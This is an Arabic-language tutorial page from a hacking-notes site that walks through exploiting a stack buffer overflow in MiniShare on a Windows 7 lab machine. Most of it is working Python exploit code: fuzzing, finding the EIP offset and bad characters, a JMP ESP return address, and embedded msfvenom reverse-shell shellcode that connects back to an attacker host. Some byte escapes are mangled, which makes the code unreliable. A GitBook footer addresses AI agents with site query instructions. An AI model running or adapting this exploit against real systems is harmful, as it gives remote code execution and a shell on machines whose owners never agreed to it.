> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/useful-resources/exploit-development/windows-buffer-overflow-minishare.md).

# Windows Buffer Overflow - MiniShare

<details>

<summary>تثبيت بيئة تجاوز سعة المخزن المؤقت</summary>

1. قم بتنزيل الآلة [ويندوز 7 أساسي 32 بت](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. داخل الآلة، قم بتنزيل [المصحح ](https://www.immunityinc.com/products/debugger/):
3. بعد تثبيته، نفّذ الأمر التالي في الطرفية:

```bash
bcdedit.exe /set {current} nx AlwaysOff
```

4. انسخ هذا [البرنامج النصي ](https://www.immunityinc.com/products/debugger/)إلى ملف a.py:
5. الصق السكربت في `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. أخيرًا، ثبّت [MiniShare](https://sourceforge.net/projects/minishare/files/latest/download)

![](/files/f5a958890b82864b5013990ee80f661f81e4ebc9)

</details>

* في Immunity Debugger نقوم بإرفاق MiniShare:

  <br>

  <figure><img src="/files/cfe49a937200eb3aa8627e022b5ddb21b6067884" alt="" width="563"><figcaption></figcaption></figure>
* سننتقل الآن إلى إجراء fuzzing للعثور على عدد البايتات:

```python
#!/usr/bin/python3
from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

def exploit():
    total_length = 100

    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(7)

            s.connect((ip_address, port))

            print("/n[+] جارٍ إرسال %d بايت" % total_length)

            s.send(b"GET " + b"/x41" * total_length + b" HTTP/1.1/r/n/r/n")
            s.recv(1024)
            s.close() 

            total_length += 100
        except:
            print("/n[!] يبدو أن الخدمة قد تعطلت/n")
            print("/n[i] تعطلت الخدمة بعد إرسال ما مجموعه %d بايت" % total_length)
            sys.exit(1)

if __name__ == '__main__':
    exploit()
```

<figure><img src="/files/f03e6b9e9f785c26bdb6e3bbec091807ac4b6645" alt="" width="563"><figcaption></figcaption></figure>

* باستخدام الأمر التالي، لدينا 1800 بايت:

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800
```

<figure><img src="/files/cc16478803d350dfab3702721e9c42f6459185bc" alt=""><figcaption></figcaption></figure>

* نحدّث السكربت كما يلي:

```python
#!/usr/bin/python3
from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

payload = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A
f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al
2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0
Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3A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bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0
Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C
f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))    

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] يبدو أن الخدمة قد تعطلت/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

/ /- نحتاج إلى نسخ EIP:

<figure><img src="/files/402dc24f8893b19b898ee25b6bca8f2a1d2bafec" alt="" width="563"><figcaption></figcaption></figure>

* نلصقه في السكربت بإضافة 0x في البداية:

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x36684335
```

* يخبرنا هذا أنه يقابل 1787:<br>

  <figure><img src="/files/16f9582c63341818726cee99260874492deb12b7" alt=""><figcaption></figcaption></figure>
* الآن لنرَ ما إذا كانت لدينا القدرة على التحكم في EIP:<br>

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))
 
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] يبدو أن الخدمة قد تعطلت/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* تمكّنا بالفعل من التحكم في EIP:

<figure><img src="/files/fcf015c1682bc7ebf0bba3406c904c402669a3e2" alt="" width="563"><figcaption></figcaption></figure>

\*الآن نحتاج إلى العثور على أحرف Badchars:

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip + b"C"*500 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] يبدو أن الخدمة قد تعطلت/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* نُجري مراقبة "dump" لنظام ESP.

  <br>

  <figure><img src="/files/0f5a3c8b08afe83a14f0539dbc72ff55eeb51b83" alt="" width="563"><figcaption></figcaption></figure>
* بهذا الأمر ننشئ ملف bytearray:

```
!mona bytearray -cpb '/x00'
```

<figure><img src="/files/017e2dade3d5be737b35b74406419f7ac5cac35d" alt=""><figcaption></figcaption></figure>

* من جهاز المهاجم، ننشئ خادم SMB لنقل الملف إلينا:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

<figure><img src="/files/4336b9e944d7669571c4d2230bd94a89d1bb3ffb" alt=""><figcaption></figcaption></figure>

* ننقله:

  <figure><img src="/files/03de05987dab898fd54e1c86dbf71513347fa88f" alt=""><figcaption></figcaption></figure>
* السكربت المحدّث:

  ```python
  #!/usr/bin/python3

  from struct import pack
  import socket
  import sys

  ip_address = "192.168.71.139"
  port = 80

  offset = 1787 

  before_eip = b"A"*offset
  eip = b"B"*4

  badchars = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
  b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
  b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
  b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
  b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
  b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
  b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
  b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")

  payload = before_eip + eip + badchars

  def exploit():
      try:
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.settimeout(7)

          s.connect((ip_address, port))
       
          s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
          s.recv(1024)
          s.close() 

      except:
          print("/n[!] يبدو أن الخدمة قد تعطلت/n")
          sys.exit(1)

  if __name__ == '__main__':
      exploit()
  ```
* نرسل محتويات نظام ESP إلى "dump":

<figure><img src="/files/99d6ffd2ad6b918aaa8d532fea3e374e27eeb08b" alt=""><figcaption></figcaption></figure>

* نتائج المقارنة لدينا:

```
!mona compare -a 0x03C238D0 -f C:/Users/jordan/Desktop/Analysis/bytearray.bin
```

<figure><img src="/files/6dd9652eab965ad3644bd76c238ee6cd9153a28d" alt="" width="563"><figcaption></figcaption></figure>

* نستبدل الملف بدون الأحرف غير المرغوب فيها ونزيله من سكربتنا:

```bash
!mona bytearray -cpb '/x00/x0d'
```

<figure><img src="/files/04329fce3d4c42f03910d7ad37542b2879872d7a" alt=""><figcaption></figcaption></figure>

* وإذا أجرينا مقارنة أخرى، فلن تبقى أي badchars:

  <figure><img src="/files/21e0229ec0c1b0e152f8248b9af609374e671a2c" alt=""><figcaption></figcaption></figure>
* نستخدم الحقل `!mona modules` الأمر، نختار "false".

<figure><img src="/files/4baba7701ceda08bd70f6d2db0e435d4470ffe72" alt=""><figcaption></figcaption></figure>

* إذا استخدمنا الأمر التالي، فسنحصل في هذه الحالة على خطأ يفيد بعدم وجود مؤشرات:

```
!mona find -s '/xFF/xE4' -m minishare.exe
```

<figure><img src="/files/559849428bc5df8ee8feb682a280d866440e5581" alt=""><figcaption></figcaption></figure>

* نستخدم هذا الأمر كبديل ونجد 44، ثم نختار واحدًا لا يحتوي على أحرف غير مرغوب فيها:

```
!mona findwild -s "JMP ESP"
```

<figure><img src="/files/685dc3eaa746f445ac99afbc998250ec54309eeb" alt=""><figcaption></figcaption></figure>

* الآن نضع القيم في السكربت في متغير EIP مع السابقة "0x" وجميعها بحروف صغيرة:

<div data-full-width="true"><figure><img src="/files/55bf79fb757d095db23a7465e97428cb8def51b6" alt=""><figcaption></figcaption></figure></div>

* الآن لنولّد الشيفرة الصدَفية لتنفيذ reverse shell:

```bash
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -b '/x00/x0d' 
```

<figure><img src="/files/59b94fdb8e606467d6cddf3894191820edc28f9f" alt="" width="563"><figcaption></figcaption></figure>

* السكربت المحدّث:

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = pack("<L", 0x7616be7f)

shellcode = (b"/xda/xd9/xd9/x74/x24/xf4/x58/x2b/xc9/xbf/xd3/xb2/xb4/xc4"
b"/xb1/x52/x83/xe8/xfc/x31/x78/x13/x03/xab/xa1/xa6/x31/xb7"
b"/x2e/x14/xba/x47/xaf/x79/xb32/xa2/x9e/xb9/xb1/x20/xa7/xb1/x09"
b"/x22/xe5/x3d/xe1/x66/x1d/xb5/x87/xae/x12/x7e/x2d/x89/x1d"
b"/x7f/x1e/xe9/x3c/x03/x5d/x3e/x9e/x3a/xae/x33/xdf/x7b/xd3"
b"/xbe/x8d/xd4/x9f/x6d/x21/x50/xd5/xad/xca/x2a/xfb/xb5/x2f"
b"/xfa/xfa/x94/xfe/x70/xa5/x36/x01/x54/xdd/x7e/x19/xb9/xd8"
b"/xc9/x92/x09/x96/xcb/x72/x40/x57/x67/xbb/x6c/xaa/x79/xfc"
b"/x4b/x55/x0c/xf4/xaf/xe8/x17/xc3/xd2/x36/x9d/xd7/x75/xbc"
b"/x05/x33/x87/x11/xd3/xb0/x8b/xde/x97/x9e/x8f/xe1/x74/x95"
b"/xb4/x6a/x7b/x79/x3d/x28/x58/x5d/x65/xea/xc1/xc4/xc3/x5d"
b"/xfd/x16/xac/x02/x5b/x5d/x41/x56/xd6/x3c/x0e/x9b/xdb/xbe"
b"/xce/xb3/x6c/xcd/xfc/x1c/xc7/x59/x4d/xd4/xc1/x9e/xb2/xcf"
b"/xb6/x30/x4d/xf0/xc6/x19/x8a/xa4/x96/x31/x3b/xc5/x7c/xc1"
b"/xc4/x10/xd2/x91/x6a/xcb/x93/x41/xcb/xbb/x7b/x8b/xc4/xe4"
b"/x9c/xb4/x0e/x8d/x37/x4f/xd9/x72/x6f/x08/x99/x1b/x72/x96"
b"/x98/x60/xfb/x70/xf0/x86/xaa/x2b/x6d/x3e/xf7/xa7/x0c/xbf"
b"/x2d/xc2/x0f/x4b/xc2/x33/xc1/xbc/xaf/x27/xb6/x4c/xfa/x15"
b"/x11/x52/xd0/x31/xfd/xc1/xbf/xc1/x88/xf9/x17/x96/xdd/xcc"
b"/x61/x72/xf0/x77/xd8/x60/x09/xe1/x23/x20/xd6/xd2/xaa/xa9"
b"/x9b/x6f/x89/xb9/x65/x6f/x95/xed/x39/x26/x43/x5b/xfc/x90"
b"/x25/x35/x56/x4e/xec/xd1/x2f/xbc/x2f/xa7/x2f/xe9/xd9/x47"
b"/x81/x44/x9c/x78/x2e/x01/x28/x01/x52/xb1/xd7/xd8/xd6/xd1"
b"/x35/xc8/x22/x7a/xe0/x99/x8e/xe7/x13/x74/xcc/x11/x90/x7c"
b"/xad/xe5/x88/xf5/xa8/xa2/x0e/xe6/xc0/xbb/xfa/x08/x76/xbb"
b"/x2e")

payload = before_eip + eip + b"/x90"*16 + shellcode

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)
        s.connect((ip_address, port))
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 
 
     except:
         print("/n[!] يبدو أن الخدمة قد تعطلت/n")
         sys.exit(1)
 
 if __name__ == '__main__':
     exploit()
```

* نستمع باستخدام rlwrap وأخيرًا نحصل على وصول:

<figure><img src="/files/2a6fba84126856f5a495bf0a89b3831a922b28ed" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/useful-resources/exploit-development/windows-buffer-overflow-minishare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
